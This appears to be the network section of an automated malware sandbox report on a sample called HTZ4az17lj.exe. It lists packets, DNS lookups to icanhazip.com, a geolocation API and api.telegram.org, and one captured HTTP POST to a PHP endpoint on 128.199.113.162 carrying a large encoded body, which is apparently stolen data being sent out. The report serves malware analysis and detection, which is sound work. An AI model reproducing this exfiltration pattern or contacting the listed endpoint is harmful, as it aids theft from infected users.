Apr 16, 2024 14:27:02.328387976 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.336539030 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.336564064 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:02.350478888 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.350637913 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.351074934 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.452573061 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.452625036 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.452822924 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.454117060 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.454138994 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.468111992 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.468385935 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.468394995 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.470014095 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.470102072 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.471374035 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.471461058 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.566155910 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:02.566270113 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.585464954 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.585537910 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:02.585908890 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:02.629343987 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.629357100 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.629407883 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.650650024 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.667553902 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.667695045 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.667710066 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.667795897 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.676387072 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.676947117 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.683006048 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.683028936 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.683424950 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.692116976 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:02.820924044 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.842911959 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.884129047 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.948281050 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.948425055 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.948584080 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.949376106 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.949376106 CEST	49716	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.949398994 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.949410915 CEST	443	49716	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.981445074 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.981502056 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.981657982 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.981674910 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.981692076 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.981739044 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.981869936 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.982031107 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.988292933 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.988332033 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:02.988480091 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.988749027 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:02.988775969 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.208589077 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.208666086 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:03.209896088 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:03.209908009 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.210396051 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.211910963 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:03.252124071 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.295363903 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.295392036 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.295489073 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.295605898 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.295623064 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.295681000 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.296055079 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.296091080 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.296210051 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.414336920 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.414491892 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.414565086 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:03.415395975 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:03.415412903 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.415425062 CEST	49717	443	192.168.2.5	23.63.206.91
Apr 16, 2024 14:27:03.415430069 CEST	443	49717	23.63.206.91	192.168.2.5
Apr 16, 2024 14:27:03.609299898 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.609325886 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.609350920 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.609399080 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.609642982 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.609689951 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.609958887 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.610721111 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.886401892 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:03.886518002 CEST	443	49715	104.21.44.66	192.168.2.5
Apr 16, 2024 14:27:03.886691093 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:03.889008999 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:03.929851055 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:03.930113077 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.930136919 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:03.930485010 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:04.203579903 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:04.243874073 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:04.319668055 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:04.895728111 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:04.895786047 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:04.895951986 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:04.897120953 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:04.897141933 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.240741014 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:05.309217930 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.309320927 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.311412096 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.311425924 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.311666012 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.312823057 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.313057899 CEST	49713	80	192.168.2.5	104.16.185.241
Apr 16, 2024 14:27:05.356162071 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.418447971 CEST	80	49713	104.16.185.241	192.168.2.5
Apr 16, 2024 14:27:05.418526888 CEST	49713	80	192.168.2.5	104.16.185.241
Apr 16, 2024 14:27:05.692982912 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.693027973 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695292950 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695300102 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695411921 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695430040 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695512056 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695521116 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695646048 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695657969 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695715904 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695734024 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695745945 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695754051 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695871115 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.695888996 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.695972919 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696026087 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696060896 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696074963 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696165085 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696177006 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696228027 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696238995 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696398020 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696439981 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696441889 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696465969 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696511984 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696527004 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696603060 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696616888 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.696717024 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:05.696724892 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.710386992 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:05.757266045 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:06.633570910 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:06.633759022 CEST	443	49718	149.154.167.220	192.168.2.5
Apr 16, 2024 14:27:06.633821011 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:06.634740114 CEST	49718	443	192.168.2.5	149.154.167.220
Apr 16, 2024 14:27:11.072216988 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:11.072293043 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:11.072387934 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:11.073556900 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:11.073632002 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:11.685695887 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:11.685791969 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:11.687309027 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:11.687336922 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:11.687747002 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:11.741275072 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.013658047 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.056158066 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.376919031 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:12.384429932 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:12.387643099 CEST	49724	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:12.387732029 CEST	443	49724	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:12.387826920 CEST	49724	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:12.399712086 CEST	49724	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:12.399750948 CEST	443	49724	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:12.407737970 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407799006 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407819033 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407838106 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407872915 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.407881975 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407902956 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407928944 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.407928944 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.407932043 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.407949924 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.407990932 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.408078909 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.408148050 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.408175945 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.408286095 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.408385992 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.512795925 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:12.512872934 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:12.513501883 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:12.530221939 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:12.537830114 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:12.684922934 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.684948921 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.684967995 CEST	49719	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:12.684976101 CEST	443	49719	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:12.724641085 CEST	443	49724	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:12.724736929 CEST	49724	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:14.104053020 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:14.104068041 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:31.864944935 CEST	443	49724	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:31.865134001 CEST	49724	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:49.823694944 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:49.823772907 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:49.823894978 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:49.824220896 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:49.824248075 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:50.419903040 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:50.420186043 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:50.423548937 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:50.423599958 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:50.423970938 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:50.436526060 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:50.484119892 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.005207062 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.005249023 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.005292892 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.005506039 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:51.005506039 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:51.005573034 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.005620003 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.005666018 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:51.005717993 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:51.009433031 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:51.009433031 CEST	49727	443	192.168.2.5	40.127.169.103
Apr 16, 2024 14:27:51.009494066 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:27:51.009537935 CEST	443	49727	40.127.169.103	192.168.2.5
Apr 16, 2024 14:28:02.194842100 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:02.194875002 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:02.194947958 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:02.195184946 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:02.195197105 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:02.409188032 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:02.409508944 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:02.409533978 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:02.409996033 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:02.410368919 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:02.410455942 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:02.459645033 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:12.411736965 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:12.411818981 CEST	443	49729	142.250.105.99	192.168.2.5
Apr 16, 2024 14:28:12.411926031 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:14.102778912 CEST	49729	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:28:14.102814913 CEST	443	49729	142.250.105.99	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 16, 2024 14:26:57.706106901 CEST	53	50632	1.1.1.1	192.168.2.5
Apr 16, 2024 14:26:57.776402950 CEST	53	51801	1.1.1.1	192.168.2.5
Apr 16, 2024 14:26:58.457706928 CEST	53	65167	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:01.520479918 CEST	56964	53	192.168.2.5	1.1.1.1
Apr 16, 2024 14:27:01.626605034 CEST	53	56964	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:01.637831926 CEST	64934	53	192.168.2.5	1.1.1.1
Apr 16, 2024 14:27:01.742553949 CEST	53	64934	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:02.033514023 CEST	50661	53	192.168.2.5	1.1.1.1
Apr 16, 2024 14:27:02.134079933 CEST	52136	53	192.168.2.5	1.1.1.1
Apr 16, 2024 14:27:02.134196043 CEST	54345	53	192.168.2.5	1.1.1.1
Apr 16, 2024 14:27:02.238817930 CEST	53	52136	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:02.238843918 CEST	53	54345	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:02.326728106 CEST	53	50661	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:04.788045883 CEST	55444	53	192.168.2.5	1.1.1.1
Apr 16, 2024 14:27:04.892520905 CEST	53	55444	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:15.456516981 CEST	53	59727	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:34.457050085 CEST	53	51997	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:57.089466095 CEST	53	52954	1.1.1.1	192.168.2.5
Apr 16, 2024 14:27:57.521713018 CEST	53	64491	1.1.1.1	192.168.2.5
Apr 16, 2024 14:28:27.098809958 CEST	53	59645	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 16, 2024 14:27:01.520479918 CEST	192.168.2.5	1.1.1.1	0xf3d6	Standard query (0)	229.116.3.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Apr 16, 2024 14:27:01.637831926 CEST	192.168.2.5	1.1.1.1	0xd443	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.033514023 CEST	192.168.2.5	1.1.1.1	0xba06	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.134079933 CEST	192.168.2.5	1.1.1.1	0xe71f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.134196043 CEST	192.168.2.5	1.1.1.1	0x7e6d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 16, 2024 14:27:04.788045883 CEST	192.168.2.5	1.1.1.1	0x405	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 16, 2024 14:27:01.626605034 CEST	1.1.1.1	192.168.2.5	0xf3d6	Name error (3)	229.116.3.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Apr 16, 2024 14:27:01.742553949 CEST	1.1.1.1	192.168.2.5	0xd443	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:01.742553949 CEST	1.1.1.1	192.168.2.5	0xd443	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238817930 CEST	1.1.1.1	192.168.2.5	0xe71f	No error (0)	www.google.com		142.250.105.99	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238817930 CEST	1.1.1.1	192.168.2.5	0xe71f	No error (0)	www.google.com		142.250.105.106	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238817930 CEST	1.1.1.1	192.168.2.5	0xe71f	No error (0)	www.google.com		142.250.105.147	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238817930 CEST	1.1.1.1	192.168.2.5	0xe71f	No error (0)	www.google.com		142.250.105.105	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238817930 CEST	1.1.1.1	192.168.2.5	0xe71f	No error (0)	www.google.com		142.250.105.103	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238817930 CEST	1.1.1.1	192.168.2.5	0xe71f	No error (0)	www.google.com		142.250.105.104	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.238843918 CEST	1.1.1.1	192.168.2.5	0x7e6d	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 16, 2024 14:27:02.326728106 CEST	1.1.1.1	192.168.2.5	0xba06	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:02.326728106 CEST	1.1.1.1	192.168.2.5	0xba06	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Apr 16, 2024 14:27:04.892520905 CEST	1.1.1.1	192.168.2.5	0x405	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

fs.microsoft.com

api.telegram.org

slscr.update.microsoft.com

128.199.113.162

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	128.199.113.162	80	6044	C:\Users\user\Desktop\HTZ4az17lj.exe

Timestamp	Bytes transferred	Direction	Data
Apr 16, 2024 14:26:54.309864998 CEST	662	OUT	POST /XtfcshEgt/upwawsfrg.php HTTP/1.1 Cookie: SESSION=Gcj+h91LeJxqEAdq3hlnr5vILKnhsk514dxtp+No3JD7QBgj4catKb4KZZoEe7n0ZQHfUqB4+LRcnLZpCNm+vlRVwAlzuGF/Ogb31zT1/J+v/tG52kIlGXwrBCWsk0XIUZPNK8kN4FIXgHizyKTrvIpZz3YVByuSV3l6JFK2KVQP4VecvhvlHdWlS3UQ3xdHQ8j9KcN4s7UAumu1CgmZyH0yDEijiEEFO2qYchSihH2HLA6McZ2qghDxmjavG0Wz3soCffYWADkZqOeAv4RewsFkOlVJuf/SiScZljMLny+gsCdQWKnRqXZJPmRDp5DQsAH7VTTYRrINKSibONStNYaRZFHiK6XnbaEMnI6z Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0 Host: 128.199.113.162 Content-Length: 140139 Expect: 100-continue Connection: Keep-Alive
Apr 16, 2024 14:26:54.639800072 CEST	25	IN	HTTP/1.1 100 Continue
